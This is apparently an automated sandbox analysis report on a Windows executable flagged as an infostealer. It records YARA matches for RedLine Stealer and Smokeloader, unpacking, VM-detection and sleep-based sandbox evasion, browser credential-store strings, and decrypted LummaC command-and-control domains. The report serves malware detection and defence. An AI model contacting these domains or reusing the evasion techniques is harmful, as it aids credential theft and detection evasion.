Source: iPUk65i3yI.exe, 00000000.00000003.1732701297.00000000055FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: iPUk65i3yI.exe, 00000000.00000003.1732701297.00000000055FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: iPUk65i3yI.exe, 00000000.00000003.1713877551.000000000553C000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1713947801.0000000005535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: iPUk65i3yI.exe, 00000000.00000003.1713947801.0000000005510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: iPUk65i3yI.exe, 00000000.00000003.1713877551.000000000553C000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1713947801.0000000005535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: iPUk65i3yI.exe, 00000000.00000003.1713947801.0000000005510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: iPUk65i3yI.exe, 00000000.00000003.1714335655.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714405596.00000000054FC000.00000004.00000800.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1714251006.000000000550F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: iPUk65i3yI.exe, 00000000.00000003.1732701297.00000000055FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: iPUk65i3yI.exe, 00000000.00000003.1732701297.00000000055FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: iPUk65i3yI.exe, 00000000.00000003.1732701297.00000000055FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: iPUk65i3yI.exe, 00000000.00000003.1732701297.00000000055FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: iPUk65i3yI.exe, 00000000.00000003.1732701297.00000000055FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Code function: 0_2_0042C500 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042C500

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Code function: 0_2_0042C500 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042C500

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1992264656.0000000002D77000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_00432010	0_2_00432010
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_004204B7	0_2_004204B7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_00404740	0_2_00404740
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_00420CA0	0_2_00420CA0
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_00406030	0_2_00406030
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_00403260	0_2_00403260
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_004052F0	0_2_004052F0
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_004065F0	0_2_004065F0
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_004345F0	0_2_004345F0
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_0040F690	0_2_0040F690
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_004397D0	0_2_004397D0
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_0042594F	0_2_0042594F
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_004259D2	0_2_004259D2
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_00431A70	0_2_00431A70
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_0041CAEC	0_2_0041CAEC
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_00439AF0	0_2_00439AF0
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_00407CB0	0_2_00407CB0
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_00403D70	0_2_00403D70
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_00402E70	0_2_00402E70
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02CF6297	0_2_02CF6297
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02CF1267	0_2_02CF1267
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02CF30D7	0_2_02CF30D7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02CF34C7	0_2_02CF34C7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02CF55DB	0_2_02CF55DB
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02D29A37	0_2_02D29A37
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02D15BB6	0_2_02D15BB6
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02CFF8F7	0_2_02CFF8F7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02D24857	0_2_02D24857
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02CFF824	0_2_02CFF824
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02CF49A7	0_2_02CF49A7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02CF3FD7	0_2_02CF3FD7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02D10F07	0_2_02D10F07
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02CF7F17	0_2_02CF7F17
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02D21CD7	0_2_02D21CD7
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02D15C39	0_2_02D15C39
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02D29D57	0_2_02D29D57

Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: String function: 02CF8967 appears 48 times
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: String function: 00408D30 appears 168 times
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: String function: 00408700 appears 47 times
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: String function: 02CF8F97 appears 168 times

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7352 -s 1548

Source: iPUk65i3yI.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1992264656.0000000002D77000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/5@1/1

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Code function: 0_2_02D78196 CreateToolhelp32Snapshot,Module32First,

0_2_02D78196

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Code function: 0_2_00429597 CoCreateInstance,

0_2_00429597

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7352

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\7aee41c4-9569-4098-b488-39bba98dfa44

Jump to behavior

Source: iPUk65i3yI.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: iPUk65i3yI.exe, 00000000.00000003.1714067617.0000000005514000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

File read: C:\Users\user\Desktop\iPUk65i3yI.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\iPUk65i3yI.exe "C:\Users\user\Desktop\iPUk65i3yI.exe"
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7352 -s 1548

Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Unpacked PE file: 0.2.iPUk65i3yI.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Unpacked PE file: 0.2.iPUk65i3yI.exe.400000.0.unpack

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Code function: 0_2_0043FBE7 push ecx; iretd

0_2_0043FBE8

Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\iPUk65i3yI.exe TID: 7408	Thread sleep time: -120000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\iPUk65i3yI.exe TID: 7404	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: Amcache.hve.3.dr	Binary or memory string: VMware
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.3.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.3.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.3.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: iPUk65i3yI.exe, 00000000.00000002.1992314162.0000000002DF6000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1783121206.0000000002DF6000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1713448217.0000000002DE6000.00000004.00000020.00020000.00000000.sdmp, iPUk65i3yI.exe, 00000000.00000003.1713571924.0000000002DE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.3.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: iPUk65i3yI.exe, 00000000.00000002.1992291031.0000000002DA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.3.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.3.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.3.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.3.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.3.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.3.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.3.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.3.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.3.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\iPUk65i3yI.exe

Code function: 0_2_00433CC0 LdrInitializeThunk,

0_2_00433CC0

Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02CF092B mov eax, dword ptr fs:[00000030h]	0_2_02CF092B
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02CF0D90 mov eax, dword ptr fs:[00000030h]	0_2_02CF0D90
Source: C:\Users\user\Desktop\iPUk65i3yI.exe	Code function: 0_2_02D77A73 push dword ptr fs:[00000030h]	0_2_02D77A73

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: iPUk65i3yI.exe	String found in binary or memory: tolerateilusidjukl.shop
Source: iPUk65i3yI.exe	String found in binary or memory: productivelookewr.shop
Source: iPUk65i3yI.exe	String found in binary or memory: strollheavengwu.shop
Source: iPUk65i3yI.exe	String found in binary or memory: demonstationfukewko.shop
Source: iPUk65i3yI.exe	String found in binary or memory: liabilitynighstjsko.shop
